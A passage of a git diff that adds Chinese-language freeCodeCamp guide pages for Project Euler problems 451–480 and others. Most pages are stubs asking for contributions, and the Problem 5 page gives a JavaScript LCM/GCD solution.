+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md
new file mode 100644
index 0000000000..ed5dcd5b9d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular inverses
+localeTitle: 反向模块化
+---
+## 问题451：模块化反转
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-451-modular-inverses/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md
new file mode 100644
index 0000000000..219aa79b11
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Long Products
+localeTitle: 长产品
+---
+## 问题452：长产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-452-long-products/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md
new file mode 100644
index 0000000000..35f675db33
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice Quadrilaterals
+localeTitle: 格子四边形
+---
+## 问题453：格子四边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-453-lattice-quadrilaterals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md
new file mode 100644
index 0000000000..076cc069a8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine reciprocals III
+localeTitle: 丢番图互易III
+---
+## 问题454：丢番图倒数III
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-454-diophantine-reciprocals-iii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md
new file mode 100644
index 0000000000..2e010fd113
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Powers With Trailing Digits
+localeTitle: 具有尾随数字的权力
+---
+## 问题455：使用尾随数字的权力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-455-powers-with-trailing-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md
new file mode 100644
index 0000000000..c5e1f06409
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles containing the origin II
+localeTitle: 包含原点II的三角形
+---
+## 问题456：包含原点II的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-456-triangles-containing-the-origin-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
new file mode 100644
index 0000000000..91da6d475e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: A polynomial modulo the square of a prime
+localeTitle: 多项式以素数的平方为模
+---
+## 问题457：多项式以素数的平方为模
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-457-a-polynomial-modulo-the-square-of-a-prime/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
new file mode 100644
index 0000000000..93b15a8f78
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutations of Project
+localeTitle: 项目的排列
+---
+## 问题458：项目的排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-458-permutations-of-project/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
new file mode 100644
index 0000000000..d8c39016bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Flipping game
+localeTitle: 翻转游戏
+---
+## 问题459：翻转游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-459-flipping-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
new file mode 100644
index 0000000000..4d2bf60663
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md
@@ -0,0 +1,9 @@
+---
+title: Goldbach's other conjecture
+localeTitle: 哥德巴赫的另一个猜想
+---
+## 问题46：哥德巴赫的另一个猜想
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-46-goldbachs-other-conjecture/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
new file mode 100644
index 0000000000..a9158149f8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md
@@ -0,0 +1,9 @@
+---
+title: An ant on the move
+localeTitle: 一只蚂蚁在移动
+---
+## 问题460：移动中的蚂蚁
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-460-an-ant-on-the-move/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
new file mode 100644
index 0000000000..8d77101151
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost Pi
+localeTitle: 几乎是Pi
+---
+## 问题461：几乎是Pi
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-461-almost-pi/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
new file mode 100644
index 0000000000..d344114feb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Permutation of 3-smooth numbers
+localeTitle: 3个平滑数的排列
+---
+## 问题462：3个平滑数的排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-462-permutation-of-3-smooth-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
new file mode 100644
index 0000000000..62dc646711
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md
@@ -0,0 +1,9 @@
+---
+title: A weird recurrence relation
+localeTitle: 奇怪的复发关系
+---
+## 问题463：一种奇怪的复发关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-463-a-weird-recurrence-relation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
new file mode 100644
index 0000000000..4bb1ac3b7f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md
@@ -0,0 +1,9 @@
+---
+title: Möbius function and intervals
+localeTitle: 莫比乌斯的功能和间隔
+---
+## 问题464：莫比乌斯函数和区间
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-464-mbius-function-and-intervals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
new file mode 100644
index 0000000000..48519ca5e9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Polar polygons
+localeTitle: 极地多边形
+---
+## 问题465：极地多边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-465-polar-polygons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
new file mode 100644
index 0000000000..3bccf7c02e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct terms in a multiplication table
+localeTitle: 乘法表中的不同术语
+---
+## 问题466：乘法表中的不同术语
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-466-distinct-terms-in-a-multiplication-table/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
new file mode 100644
index 0000000000..506db88305
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md
@@ -0,0 +1,9 @@
+---
+title: Superinteger
+localeTitle: Superinteger
+---
+## 问题467：超级整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-467-superinteger/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
new file mode 100644
index 0000000000..40db4ed023
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Smooth divisors of binomial coefficients
+localeTitle: 二项式系数的平滑除数
+---
+## 问题468：二项式系数的平滑除数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-468-smooth-divisors-of-binomial-coefficients/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
new file mode 100644
index 0000000000..d304ac84ef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Empty chairs
+localeTitle: 空椅子
+---
+## 问题469：空椅子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-469-empty-chairs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
new file mode 100644
index 0000000000..936e7f89d0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct primes factors
+localeTitle: 不同的素数因素
+---
+## 问题47：不同的素数因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-47-distinct-primes-factors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
new file mode 100644
index 0000000000..34fd00cf4d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md
@@ -0,0 +1,9 @@
+---
+title: Super Ramvok
+localeTitle: 超级拉姆沃克
+---
+## 问题470：超级拉姆沃克
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-470-super-ramvok/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
new file mode 100644
index 0000000000..1416c2c351
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle inscribed in ellipse
+localeTitle: 三角刻有椭圆形
+---
+## 问题471：以椭圆形刻的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
new file mode 100644
index 0000000000..f7cab78bb9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable Distance II
+localeTitle: 舒适的距离II
+---
+## 问题472：舒适的距离II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
new file mode 100644
index 0000000000..b462e90814
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
@@ -0,0 +1,9 @@
+---
+title: Phigital number base
+localeTitle: 数字基数
+---
+## 问题473：数字基数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
new file mode 100644
index 0000000000..8b6a993e9f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Last digits of divisors
+localeTitle: 除数的最后数字
+---
+## 问题474：除数的最后数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
new file mode 100644
index 0000000000..03283e2c67
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
@@ -0,0 +1,9 @@
+---
+title: Music festival
+localeTitle: 音乐节
+---
+## 问题475：音乐节
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
new file mode 100644
index 0000000000..efc2d06b07
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle Packing II
+localeTitle: 圆形包装II
+---
+## 问题476：圆形包装II
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
new file mode 100644
index 0000000000..1c9d3a3469
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Sequence Game
+localeTitle: 数字序列游戏
+---
+## 问题477：数字序列游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
new file mode 100644
index 0000000000..0a2ee600ba
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
@@ -0,0 +1,9 @@
+---
+title: Mixtures
+localeTitle: 混合物
+---
+## 问题478：混合物
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
new file mode 100644
index 0000000000..dcde223d69
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
@@ -0,0 +1,9 @@
+---
+title: Roots on the Rise
+localeTitle: 崛起的根源
+---
+## 问题479：崛起的根源
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
new file mode 100644
index 0000000000..e8e5a6e8f5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Self powers
+localeTitle: 自我权力
+---
+## 问题48：自我权力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
new file mode 100644
index 0000000000..8956dfef48
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
@@ -0,0 +1,9 @@
+---
+title: The Last Question
+localeTitle: 最后一个问题
+---
+## 问题480：最后一个问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
new file mode 100644
index 0000000000..21e05f6d1c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime permutations
+localeTitle: 主要排列
+---
+## 问题49：主要排列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
new file mode 100644
index 0000000000..75c7b8c6ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
@@ -0,0 +1,45 @@
+---
+title: Smallest multiple
+localeTitle: 最小的倍数
+---
+## 问题5：最小的倍数
+
+### 方法：
+
+*   在这个挑战中，我们需要找到1到n个数的LCM。
+*   要查找数字的LCM，我们使用以下公式：
+*   ![LCM](https://wikimedia.org/api/rest_v1/media/math/render/svg/9453a93953efe119b7502c1827aeeb869ab121d6)
+*   为了找到两个数的GCD（最大公约数），我们使用欧几里德算法。
+*   一旦我们得到两个数字的LCM，我们就可以得到从1到n的数字的LCM。
+
+### 解：
+
+```js
+//LCM of two numbers 
+ function lcm(a, b){ 
+  return (a*b)/gcd(a, b); 
+ } 
+ 
+ //Euclidean recursive algorithm 
+ function gcd(a, b){ 
+  if (b === 0) return a; 
+  return gcd(b, a%b); 
+ } 
+ 
+ function smallestMult(n){ 
+  let maxLCM = 1; 
+ 
+  //Getting the LCM in the range 
+  for (let i = 2; i <= n; i++){ 
+    maxLCM = lcm(maxLCM, i); 
+  } 
+  return maxLCM; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Problem-5-Smallest-multiple)
+
+### 参考文献：
+
+*   [欧几里德算法](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [LCM](https://en.wikipedia.org/wiki/Least_common_multiple)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
new file mode 100644
index 0000000000..de9fb9cfa7
--- /dev/null
